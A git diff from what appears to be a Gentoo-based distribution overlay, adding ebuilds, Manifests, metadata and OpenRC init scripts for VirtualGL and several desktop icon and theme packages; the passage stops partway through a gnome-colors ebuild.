+EBUILD virtualgl-2.3.2-r2.ebuild 2023 SHA256 3b085b41e6ae50300ce9ac0e36a8892aa3ea87f861b169e9029da39b755c241b SHA512 7247c0332109c93e99f196c43aadaee180aab0e51be0b299ebddc296821f376d46078c87eee3950a23ed17f3091d75f7710aecfaa7192068633515610732bf1e WHIRLPOOL 0ea4608d9a7340ef7a64d2d4d54ecf2be74001e905580e337f8d2be19f60948382f80a8655952ea795a07771db49176c96d6b997d6a039dd4211969e66a32a38
+MISC ChangeLog 2823 SHA256 68089ae078b18c76156adaed2e69926eda99d7faf58b4d3da2aab235acb3d9a2 SHA512 544c10c21ebec4b240fd9fa5e30332584ea141fb8770a9697073086022d8099ffa972263b7b94e5390827aeac99f173d55bb06194c98da39f042bb64b3d1a0c9 WHIRLPOOL 3a7d30df96e4201b206253209a974081b858878b39c8f072372ecce9016424a75a20076e92c1f8bdb537d7354e4079c9d62c001324f4b6586ac6d6b9e6a62bc4
+MISC metadata.xml 623 SHA256 316b53ddcecea522ace4b473d03979f84564878170296a7880a1d5474c105a29 SHA512 9904123fcf4f4bae816a0e924ea23f7650696e9b39349e044d4cab398a2c69203544ec8dbd01367b535931e41223b81cdb1d4dc5b80e829b2cde7b58d6c2e25e WHIRLPOOL bcb470a607923f0d79d091d9f7835d232cf15fcb35d4467a43bada39a18f743e0a2b45428f16f7fb8be52a271f075be7e42f477aeae0c5485cb9a23779ae3a97
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iEYEAREIAAYFAlGiWIQACgkQCaWpQKGI+9S8kgCfTyvgLeCMMfVW6UPEDEcBFDyL
+MQMAn1ikgJQqExYXhE2xAVWKWEi+tq/2
+=Ur+t
+-----END PGP SIGNATURE-----
diff --git a/x11-misc/virtualgl/files/vgl.confd-r1 b/x11-misc/virtualgl/files/vgl.confd-r1
new file mode 100644
index 00000000..d56414d4
--- /dev/null
+++ b/x11-misc/virtualgl/files/vgl.confd-r1
@@ -0,0 +1,27 @@
+# /etc/conf.d/vgl
+
+DISPLAY="${DISPLAY:-:0}"
+
+# Make it a function in case we have to repeat it in init script later
+set_xauth() {
+
+# common case (works in almost all tested environments (except of lightdm)):
+XAUTHORITY="$(ps wwax -C X,Xorg -o args= --sort=-stime | grep -m 1 -o '\B[-]auth\s*/var\S*auth\S*' | cut -d ' ' -f 2)"
+
+# kdm and some others:
+# XAUTHORITY="$(find /var/run/xauth/A${DISPLAY}-*|tail -n1)"
+
+# gdm:
+# XAUTHORITY="/var/gdm/${DISPLAY}.Xauth"
+
+# slim:
+# XAUTHORITY="/var/run/slim.auth"
+
+# lightdm:
+# XAUTHORITY="/var/run/lightdm/root/${DISPLAY}"
+
+# lxdm:
+# XAUTHORITY="/var/run/lxdm/lxdm-${DISPLAY}.auth"
+
+}
+set_xauth
diff --git a/x11-misc/virtualgl/files/vgl.initd-r1 b/x11-misc/virtualgl/files/vgl.initd-r1
new file mode 100644
index 00000000..b079a353
--- /dev/null
+++ b/x11-misc/virtualgl/files/vgl.initd-r1
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-misc/virtualgl/files/vgl.initd-r1,v 1.2 2012/09/29 09:33:10 pacho Exp $
+
+# TODO: description="*" and other OpenRC 0.9+ candies
+
+depend() {
+	need xdm
+	after sshd
+}
+
+start() {
+	ebegin "Starting VirtualGL"
+	truncate --size=0 /var/lib/VirtualGL/vgl_xauth_key
+
+	# Check if XAUTHORITY was set successfully, if not wait a bit and let X to start
+	[ -z "$XAUTHORITY" ] && sleep 3 && set_xauth
+	[ -e "$XAUTHORITY" ] || sleep 3
+	xauth -f /var/lib/VirtualGL/vgl_xauth_key add $DISPLAY . `xauth -f $XAUTHORITY list | awk '{print $3}'` && \
+		chmod 644 /var/lib/VirtualGL/vgl_xauth_key
+	eend $?
+}
+
+stop() {
+	ebegin "Stopping VirtualGL"
+	[ -f /var/lib/VirtualGL/vgl_xauth_key ] && \
+		rm /var/lib/VirtualGL/vgl_xauth_key
+	eend $?
+}
diff --git a/x11-misc/virtualgl/files/vgl.initd-r2 b/x11-misc/virtualgl/files/vgl.initd-r2
new file mode 100644
index 00000000..3ed5188c
--- /dev/null
+++ b/x11-misc/virtualgl/files/vgl.initd-r2
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-misc/virtualgl/files/vgl.initd-r2,v 1.1 2013/05/26 18:46:27 pacho Exp $
+
+# TODO: description="*" and other OpenRC 0.9+ candies
+
+depend() {
+	need xdm
+	after sshd
+}
+
+start() {
+	ebegin "Starting VirtualGL"
+	truncate --size=0 /var/lib/VirtualGL/vgl_xauth_key
+
+	# Check if XAUTHORITY was set successfully, if not wait a bit and let X to start
+	[ -z "$XAUTHORITY" ] && sleep 3 && set_xauth
+	[ -e "$XAUTHORITY" ] || sleep 3
+	xauth -f /var/lib/VirtualGL/vgl_xauth_key add $DISPLAY . `xauth -f $XAUTHORITY list | awk '{print $3;exit}'` && \
+		chmod 644 /var/lib/VirtualGL/vgl_xauth_key
+	eend $?
+}
+
+stop() {
+	ebegin "Stopping VirtualGL"
+	[ -f /var/lib/VirtualGL/vgl_xauth_key ] && \
+		rm /var/lib/VirtualGL/vgl_xauth_key
+	eend $?
+}
diff --git a/x11-misc/virtualgl/metadata.xml b/x11-misc/virtualgl/metadata.xml
new file mode 100644
index 00000000..1ae68f83
--- /dev/null
+++ b/x11-misc/virtualgl/metadata.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>proxy-maintainers</herd>
+<maintainer>
+	<email>pacho@gentoo.org</email>
+	<name>Pacho Ramos</name>
+</maintainer>
+<maintainer>
+	<email>mva@mva.name</email>
+	<name>Vadim A. Misbakh-Soloviov</name>
+</maintainer>
+<maintainer>
+	<email>rei4dan@gmail.com</email>
+	<name>My Th</name>
+</maintainer>
+<longdescription>
+	An open source package that gives any Unix or Linux remote display software
+	the ability to run OpenGL applications with full 3D hardware acceleration.
+</longdescription>
+</pkgmetadata>
diff --git a/x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild b/x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild
new file mode 100644
index 00000000..187e8f10
--- /dev/null
+++ b/x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild
@@ -0,0 +1,80 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild,v 1.1 2013/05/09 22:07:32 pacho Exp $
+
+EAPI=5
+inherit cmake-multilib multilib
+
+DESCRIPTION="Run OpenGL applications remotely with full 3D hardware acceleration"
+HOMEPAGE="http://www.virtualgl.org/"
+
+MY_PN="VirtualGL"
+MY_P="${MY_PN}-${PV}"
+S="${WORKDIR}/${MY_P}"
+SRC_URI="mirror://sourceforge/${PN}/${MY_PN}/${PV}/${MY_P}.tar.gz"
+
+SLOT="0"
+LICENSE="LGPL-2.1 wxWinLL-3.1 FLTK"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+RDEPEND="
+	ssl? ( dev-libs/openssl )
+	media-libs/libjpeg-turbo
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXv
+	amd64? ( abi_x86_32? (
+		|| (
+			(
+				x11-libs/libX11[abi_x86_32]
+				x11-libs/libXext[abi_x86_32]
+				x11-libs/libXv[abi_x86_32]
+			)
+			app-emulation/emul-linux-x86-xlibs
+		)
+		app-emulation/emul-linux-x86-baselibs
+		app-emulation/emul-linux-x86-opengl
+	) )
+	virtual/glu
+	virtual/opengl
+"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+	# Use /var/lib, bug #428122
+	sed -e "s#/etc/opt#/var/lib#g" -i doc/unixconfig.txt doc/index.html doc/advancedopengl.txt \
+		server/vglrun server/vglgenkey server/vglserver_config || die
+
+	default
+}
+
+src_configure() {
+	abi_configure() {
+		local mycmakeargs=(
+			$(cmake-utils_use ssl VGL_USESSL)
+			-DVGL_DOCDIR=/usr/share/doc/"${P}"
+			-DTJPEG_INCLUDE_DIR=/usr/include
+			-DVGL_LIBDIR=/usr/$(get_libdir)
+			-DTJPEG_LIBRARY=/usr/$(get_libdir)/libturbojpeg.so
+			-DCMAKE_LIBRARY_PATH=/usr/$(get_libdir)
+			-DVGL_FAKELIBDIR=/usr/fakelib/${ABI}
+		)
+		cmake-utils_src_configure
+	}
+	multilib_parallel_foreach_abi abi_configure
+}
+
+src_install() {
+	cmake-multilib_src_install
+
+	# Make config dir
+	dodir /var/lib/VirtualGL
+	fowners root:video /var/lib/VirtualGL
+	fperms 0750 /var/lib/VirtualGL
+	newinitd "${FILESDIR}/vgl.initd-r1" vgl
+	newconfd "${FILESDIR}/vgl.confd-r1" vgl
+
+	# Rename glxinfo to vglxinfo to avoid conflict with x11-apps/mesa-progs
+	mv "${D}"/usr/bin/{,v}glxinfo || die
+}
diff --git a/x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild b/x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild
new file mode 100644
index 00000000..fedf33c9
--- /dev/null
+++ b/x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild
@@ -0,0 +1,80 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild,v 1.1 2013/05/26 18:46:27 pacho Exp $
+
+EAPI=5
+inherit cmake-multilib multilib
+
+DESCRIPTION="Run OpenGL applications remotely with full 3D hardware acceleration"
+HOMEPAGE="http://www.virtualgl.org/"
+
+MY_PN="VirtualGL"
+MY_P="${MY_PN}-${PV}"
+S="${WORKDIR}/${MY_P}"
+SRC_URI="mirror://sourceforge/${PN}/${MY_PN}/${PV}/${MY_P}.tar.gz"
+
+SLOT="0"
+LICENSE="LGPL-2.1 wxWinLL-3.1 FLTK"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+RDEPEND="
+	ssl? ( dev-libs/openssl )
+	media-libs/libjpeg-turbo
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXv
+	amd64? ( abi_x86_32? (
+		|| (
+			(
+				x11-libs/libX11[abi_x86_32]
+				x11-libs/libXext[abi_x86_32]
+				x11-libs/libXv[abi_x86_32]
+			)
+			app-emulation/emul-linux-x86-xlibs
+		)
+		app-emulation/emul-linux-x86-baselibs
+		app-emulation/emul-linux-x86-opengl
+	) )
+	virtual/glu
+	virtual/opengl
+"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+	# Use /var/lib, bug #428122
+	sed -e "s#/etc/opt#/var/lib#g" -i doc/unixconfig.txt doc/index.html doc/advancedopengl.txt \
+		server/vglrun server/vglgenkey server/vglserver_config || die
+
+	default
+}
+
+src_configure() {
+	abi_configure() {
+		local mycmakeargs=(
+			$(cmake-utils_use ssl VGL_USESSL)
+			-DVGL_DOCDIR=/usr/share/doc/"${P}"
+			-DTJPEG_INCLUDE_DIR=/usr/include
+			-DVGL_LIBDIR=/usr/$(get_libdir)
+			-DTJPEG_LIBRARY=/usr/$(get_libdir)/libturbojpeg.so
+			-DCMAKE_LIBRARY_PATH=/usr/$(get_libdir)
+			-DVGL_FAKELIBDIR=/usr/fakelib/${ABI}
+		)
+		cmake-utils_src_configure
+	}
+	multilib_parallel_foreach_abi abi_configure
+}
+
+src_install() {
+	cmake-multilib_src_install
+
+	# Make config dir
+	dodir /var/lib/VirtualGL
+	fowners root:video /var/lib/VirtualGL
+	fperms 0750 /var/lib/VirtualGL
+	newinitd "${FILESDIR}/vgl.initd-r2" vgl
+	newconfd "${FILESDIR}/vgl.confd-r1" vgl
+
+	# Rename glxinfo to vglxinfo to avoid conflict with x11-apps/mesa-progs
+	mv "${D}"/usr/bin/{,v}glxinfo || die
+}
diff --git a/x11-themes/cristal-blue/Manifest b/x11-themes/cristal-blue/Manifest
new file mode 100644
index 00000000..c6872fc0
--- /dev/null
+++ b/x11-themes/cristal-blue/Manifest
@@ -0,0 +1,4 @@
+DIST cristal-blue-1.3.1.tar.gz 5639 SHA256 90921e2da2077321ef42c9950141f4b3f1e93291c9cef8f1cfae7459181e697e SHA512 33d42c2fdaffe3097ac5dc1303a6a6aa3536e7c29ddac23f6409b5aaf52853fea524c8756f66ca520248fb3833a4d7bc33d073e25e068bf09e60bf9ef5d46968 WHIRLPOOL 8cb249ed25f3373cd48d448c3603cf6d1abfd4addd4fc27d4705005dc92b5cd16599a7d8bd5e72dce968eab5d80037fa80bb58bfaa3adbef34e57cae2d0f44fa
+DIST cristal-cursor.gz 5615 SHA256 7739d1aa63d1a3eb682579f7ed699de230bf262d4fec473dd691137d424ff5ab SHA512 4f5a4ccb4ba69c9aaf64d35cc6e8691f5c8932076c6b337cd11ac7cb50f0ad71e1cca25eabf20ab9ac579db57205a58962e39d4e450ead9776acbf646b732e43 WHIRLPOOL 5b5a2418b02d329c7cbfc23b74ba04816b6337d1b69b4dea8131ee319de34205627cd833500e8d32e09b07976c85b50fa5c4179fa624d21420bb5f1124cc3680
+DIST cristal-oxigen-1.3.1.emerald 5648 SHA256 27bbb6ee75706ef7bcf4f21530ff0b76bfc8387dc49e126dca41fd87fea051c5 SHA512 a4cf8dc64f181c38c31b523188b18a9797f98ce20f62b5c718270f9645f941b274b5b36a1f28b6576ad91956b0eff1e6b6d11d12270ea382f54715fb2068ae8b WHIRLPOOL a8dabcadea792554f88f0f5c7515d06f8774b8f842769235259beb7dfc9b2f907860b777fc64894521e9f97ba1453cd2210d1e828dab34d4829f24bb1f5a811e
+EBUILD cristal-blue-1.3.1.ebuild 1348 SHA256 c8e60d4decbe851dd5fcee2ea38fa016450a324e39758d30288c71a48316308d SHA512 e87ca83a245a29de7c82180d754dc36884dce5e68ebe3be192ae2a90e91c593dd170344e2960d5e893076a8cf37a970a060ddc9ea716471ccef8baf78a160a92 WHIRLPOOL d2f864634121f270a2d39add3209122cbc2f6f8ebb343f5558285ec21c0f19a89ef81c2b93de37efcf8aaac7030ab4a8f914e60dce2c7a626b01cf8c5f4e2c46
diff --git a/x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild b/x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild
new file mode 100644
index 00000000..e83886ea
--- /dev/null
+++ b/x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+DESCRIPTION="Cristal-Blue Rogentos theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}-${PV}.tar.gz
+	http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}-${PV}.tar.gz
+	emerald? ( http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/cristal-oxigen-${PV}.emerald )
+	cursor? ( http://pkg3.rogentos.ro/~noxis/distro/${CATEGORY}/cristal-cursor.gz ) "
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="gtk2 cursor emerald"
+
+RDEPEND="gtk2? ( x11-themes/gtk-engines-unico )
+	>=x11-themes/gtk-engines-murrine-0.98.1.1
+	x11-themes/gtk-engines"
+DEPEND=""
+
+Z="cristal-blue"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_unpack() {
+	if use emerald; then
+		unpack ${A}
+	fi
+}
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk2"
+	fi
+	if use emerald; then
+		cd "${S}"
+		doins cristal-oxigen-1.3.1.emerald $THEME
+	fi
+	if use cursor; then
+		if [ -f "/usr/share/cursors/xorg-x11" ]; then
+			cd /usr/share/cursors/xorg-x11
+			doins "${S}"/cristal-cursor
+		else
+			ewarn "There is no such folder as xorg-x11
+			       Create it yourself!"
+		fi
+	fi
+}
diff --git a/x11-themes/elementary-icon-theme/Manifest b/x11-themes/elementary-icon-theme/Manifest
new file mode 100644
index 00000000..b67fc209
--- /dev/null
+++ b/x11-themes/elementary-icon-theme/Manifest
@@ -0,0 +1,3 @@
+DIST elementary-icon-theme-2.7.1.tar.gz 4100761 SHA256 4cfe73d9da3f6262a724bd787126dcbf0957b107e3f36d22a0baf60fef7706e6 SHA512 55af14b171756f2e8ba6b5a9956eb28bbe9bae3ac15acbd0088e177077b84f10efc30d4c5cb5508829f67dc924654f52a5a758f9b4fd455c9baa01bd997ce84c WHIRLPOOL 60ab35db6022050342aa2102315e30e54ab455f3efcf8cf925ab8b400f5100228ee7f95fbc4f70f6c12b7414eb0ea0f4fa88f4ccb9a3b4282601f2b42aa585e3
+DIST fdo-icons-rogentos1.tar.gz 507041 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d SHA512 3b95d5116984ef802d4ad12cba856096f5f481216a42fe09334929d338179a7d55a15754aa8e20dca08c6fdb19ad096e96d24b9e7dd5198b0d93eb379f3e3d3d WHIRLPOOL a66b53dcb3888c5896da05a5abaf8f0295fd8b28a4ce23d0a972ea5705dad89d2c14d48eddafe5b7ea291934ba217f8fee1b0f1d4ed7f6b77579cb96dfddc98b
+EBUILD elementary-icon-theme-2.7.1-r1.ebuild 3267 SHA256 64ecd7dbb493ed64520f09e817b0e69ee3598b92458fa3dd5dcc960a29924fc2 SHA512 7d57e98d3e46ca7490bb065eba09f73171616291fcde0c837f94acabf6af9fb65371e59e701fd3f8606d6336e28965c5d4d560241463593369fbe9c96564a401 WHIRLPOOL e1942da924372d48ae63b53ca75451cc6c11d9650ab5a80e707eb5874c09a09b1f9cf93536e8c316c09945b8c60763e18e96f02a7a331592d87e2a0556c3e6c1
diff --git a/x11-themes/elementary-icon-theme/elementary-icon-theme-2.7.1-r1.ebuild b/x11-themes/elementary-icon-theme/elementary-icon-theme-2.7.1-r1.ebuild
new file mode 100644
index 00000000..9bcfecea
--- /dev/null
+++ b/x11-themes/elementary-icon-theme/elementary-icon-theme-2.7.1-r1.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+SLREV=1
+inherit gnome2-utils
+
+DESCRIPTION="Elementary gnome icon theme"
+HOMEPAGE="https://launchpad.net/elementaryicons"
+SRC_URI="http://launchpad.net/elementaryicons/2.0/${PV}/+download/${P}.tar.gz
+	http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/fdo-icons-rogentos1.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="monochrome branding"
+
+DEPEND=""
+RDEPEND=""
+RESTRICT="binchecks strip"
+
+src_install() {
+	cd "${WORKDIR}/${PN}"
+	dodoc elementary/{AUTHORS,CONTRIBUTORS} || die
+	use monochrome && { newdoc elementary-mono-dark/AUTHORS AUTHORS.mono-dark || die; }
+	rm elementary/{AUTHORS,CONTRIBUTORS,COPYING}
+	rm elementary-mono-dark/{AUTHORS,COPYING}
+
+	insinto /usr/share/icons
+	doins -r elementary || die
+	use monochrome && { doins -r elementary-mono-dark || die; }
+
+	# this icon theme uses different layout
+	# so let's do some blah here
+	local base_dir icon_dir dest_icon_dir myfile
+
+	cd "${WORKDIR}"
+	# Rogentos nice stuff
+	for base_dir in fdo-icons-rogentos/*; do
+		[[ -d ${base_dir} ]] || \
+			die "error, ${base_dir} doesn't exist or is not a directory"
+		icon_dir=$(basename "${base_dir}") # example: 128x128
+		dest_icon_dir=${icon_dir}
+		[[ ${icon_dir} != scalable ]] && \
+			dest_icon_dir=${icon_dir/x*} # leave number like "128"
+
+		# under ${base_dir} we have emblems/ and places/
+		[[ -d ${base_dir}/emblems ]] || \
+			die "error, ${base_dir}/emblems doesn't exist or is not a directory"
+		[[ -d ${base_dir}/places ]] || \
+			die "error, ${base_dir}/places doesn't exist or is not a directory"
+
+		# emblems
+		for myfile in "${base_dir}"/emblems/*; do
+			insinto /usr/share/icons/elementary/emblems/"${dest_icon_dir}"
+			doins "${myfile}" || die "can't copy ${myfile}!"
+			if use monochrome; then
+				insinto /usr/share/icons/elementary-mono-dark/emblems/"${dest_icon_dir}"
+				doins "${myfile}" || die "can't copy ${myfile}! (2)"
+			fi
+		done
+
+		# places
+		for myfile in "${base_dir}"/places/*; do
+			insinto /usr/share/icons/elementary/places/"${dest_icon_dir}"
+			doins "${myfile}" || die "can't copy ${myfile}!"
+			dist_logo_symlink \
+				"${myfile}" \
+				"${ED}"usr/share/icons/elementary/places/"${dest_icon_dir}"
+			if use monochrome; then
+				insinto /usr/share/icons/elementary-mono-dark/places/"${dest_icon_dir}"
+				doins "${myfile}" || die "can't copy ${myfile}! (2)"
+				dist_logo_symlink \
+					"${myfile}" \
+					"${ED}"usr/share/icons/elementary-mono-dark/places/"${dest_icon_dir}"
+			fi
+		done
+	done
+}
+
+# create symbolic link distributor-logo.{png,…} -> start-here.{png,…}
+dist_logo_symlink() {
+	local path=$1 # example: /path/start-here.png
+	local dest_dir=$2
+	local filename=${path##*/}
+	[[ $filename = start-here.* ]] || return
+	local ext=${filename##*.}
+	[[ -z $ext ]] && return
+	# remove files like elementary/places/48/distributor-logo.svg
+	rm -f "${dest_dir}"/distributor-logo.*
+	ln -s "start-here.${ext}" "${dest_dir}/distributor-logo.${ext}" \
+		|| die "the command ln -s \"start-here.${ext}\" \"${dest_dir}/distributor-logo.${ext}\" failed!"
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	gnome2_icon_cache_update
+}
diff --git a/x11-themes/faenza-cupertino/Manifest b/x11-themes/faenza-cupertino/Manifest
new file mode 100644
index 00000000..3a478d44
--- /dev/null
+++ b/x11-themes/faenza-cupertino/Manifest
@@ -0,0 +1,2 @@
+DIST Faenza.tar.gz 65935873 SHA256 68d9dcbc61b1c05cd06f035702ce90175062ffdca89eb15e7f2678929baa8b60 SHA512 4a34a432a2c88cb530956a85510d108dc0271dfba97256c04f4bb63bc43288a6c0da1a63b7831c59dc4d837e2f4b5a4213826d03e1677cbccc38e6c517e5e282 WHIRLPOOL 2eeaa6dcc1101da880bae9e86a853bc7c9cdcc82d302e050f685eab91bd02c62cd7de42605059c4b8d734ae310fd30fc864d46ad5f56d4e58c321d983c4d1e58
+EBUILD faenza-cupertino-1.0.ebuild 611 SHA256 9e4022c317a71f4b1be9eb9f7e221de87a103e08f65b0a19348f2eabaee6c120 SHA512 72f30310be592b12f379726811a184761308126fa79ebbb18009832389dbb0095e1fc49f88ae22bc1abb2c8bdf5ec473bda9e40d84640252f337a38446aa6eac WHIRLPOOL 9086c39cec87a80107bee5f1fd1efb951db5db7a4f7425428a1c5bc06efbc00f6cb31a0a08547d8d2fe67c6067ad11f410f7fdb7dfd862ff5212c219a0a6a3d0
diff --git a/x11-themes/faenza-cupertino/faenza-cupertino-1.0.ebuild b/x11-themes/faenza-cupertino/faenza-cupertino-1.0.ebuild
new file mode 100644
index 00000000..c241ecdd
--- /dev/null
+++ b/x11-themes/faenza-cupertino/faenza-cupertino-1.0.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+EAPI=4
+
+inherit kde4-base
+
+DESCRIPTION="Faenza Cupertino"
+HOMEPAGE="http://tiheum.deviantart.com/"
+
+MY_PN="Faenza"
+
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/x11-themes/${PN}/${MY_PN}.tar.gz
+	http://pkg3.rogentos.ro/~noxis/distro/x11-themes/${PN}/${MY_PN}.tar.gz"
+
+LICENSE="LGPL-3"
+KEYWORDS="~amd64 ~x86 ~arm"
+IUSE=""
+SLOT="0"
+
+DEPEND="${RDEPEND}"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/Faenza"
+
+src_prepare() {
+	insinto /usr/share/icons
+}
+
+src_install() {
+	doins -r "${S}" || die
+}
diff --git a/x11-themes/faenza-kupertino-icons/Manifest b/x11-themes/faenza-kupertino-icons/Manifest
new file mode 100644
index 00000000..112c1f02
--- /dev/null
+++ b/x11-themes/faenza-kupertino-icons/Manifest
@@ -0,0 +1,2 @@
+DIST faenza-kupertino-icons-1.0.tar.gz 675654 SHA256 1ab927424d2e849c7b3bf253e07c50d6ede362a4507a64480f062822ad59a7aa SHA512 b6456d14dfae7fd97acd6bfb3480ff2f085e255fb629f099d940f5b30c3e64b7e43e407b41a7460caed8ec89acf50a952c5da7b429637a19a0ca710ded5341e8 WHIRLPOOL 4824fc6e90126681c613ff69da7092ee938eef698aa8b8912618f6720ec3b08fd3c67781f178d3dc5935d1f0100a15eb4a7a125f323068451b5bc0c3b4463845
+EBUILD faenza-kupertino-icons-1.0.ebuild 795 SHA256 bad87ac3c72df4755b4f2b32c140ea84fca80af0d7e6f1f69cb01add230e1cd3 SHA512 1910d118a9bcf92dc18fbef5d0c48abd12ee64e4d8387769ca34fbcde03e36386f5e452ad6512b01d00fc1f1fcc564c554174141afc3e6e60375d89d1878b07e WHIRLPOOL cf88f4caefffe047f5ae38889492cf624955caf786469f9bc43cde81c939361f3c9f1ff13c9399a23bbeee0e81cc6cc7e0ed89c3698f78a2a82a6f929fed42d7
diff --git a/x11-themes/faenza-kupertino-icons/faenza-kupertino-icons-1.0.ebuild b/x11-themes/faenza-kupertino-icons/faenza-kupertino-icons-1.0.ebuild
new file mode 100644
index 00000000..c085afed
--- /dev/null
+++ b/x11-themes/faenza-kupertino-icons/faenza-kupertino-icons-1.0.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion faenza icons"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="x11-themes/faenza-icon-theme"
+
+DEPEND=""
+
+DEST="/usr/share/icons"
+S="${WORKDIR}"
+
+src_install() {
+	insinto ${DEST} || die
+	doins -r "${S}"/Faenza-Kupertino-Light || die
+	doins -r "${S}"/Faenza-Kupertino-Dark || die
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	gnome2_icon_cache_update
+}
diff --git a/x11-themes/gnome-colors-common/Manifest b/x11-themes/gnome-colors-common/Manifest
new file mode 100644
index 00000000..fe339c43
--- /dev/null
+++ b/x11-themes/gnome-colors-common/Manifest
@@ -0,0 +1,4 @@
+DIST fdo-icons-rogentos1.tar.gz 507041 RMD160 0e282a6807edf3f135346912f2d38dcc49354c53 SHA1 6301ba5413f47daaab97432c90015b50b3357437 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d
+DIST gnome-colors-5.5.1.tar.gz 4919865 RMD160 abf65e132a73726338cf7468e8274c6382902e03 SHA1 20271942e6ee530288a12f353caa0a132be20ab1 SHA256 1e91d845a753eb38671e7614a786f852ab858a12983111e780da4a47c9debe58
+EBUILD gnome-colors-common-5.5.1-r12.ebuild 1068 RMD160 4988e3049cd7e3c58c8150044c5e2de42c4174bb SHA1 936455fad2eaececeee9cbe32d1d16eda53028db SHA256 4081e88f9ba7338c383f2169b298da74c6dbaf2baf003d160f290cacdecb749c
+MISC metadata.xml 255 RMD160 d8007c14db3b7a52f5b8f6c8c5a6ff3cc377269f SHA1 e0a63222bcc2994af9b2eaa780f0c36571caa3b4 SHA256 8ae02f922b1924e75493cf58eae86b12e9b78350866d5ef3c3abfcae5a3608e4
diff --git a/x11-themes/gnome-colors-common/gnome-colors-common-5.5.1-r12.ebuild b/x11-themes/gnome-colors-common/gnome-colors-common-5.5.1-r12.ebuild
new file mode 100644
index 00000000..b5d6d1cc
--- /dev/null
+++ b/x11-themes/gnome-colors-common/gnome-colors-common-5.5.1-r12.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+SLREV=1
+inherit gnome2-utils
+
+DESCRIPTION="Colorized icons shared between all gnome-colors iconsets"
+HOMEPAGE="http://code.google.com/p/gnome-colors/"
+
+SRC_URI="http://gnome-colors.googlecode.com/files/gnome-colors-${PV}.tar.gz
+	branding? ( http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz )"
+
+LICENSE="GPL-2 public-domain"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+branding"
+
+RDEPEND="x11-themes/gnome-icon-theme"
+DEPEND=""
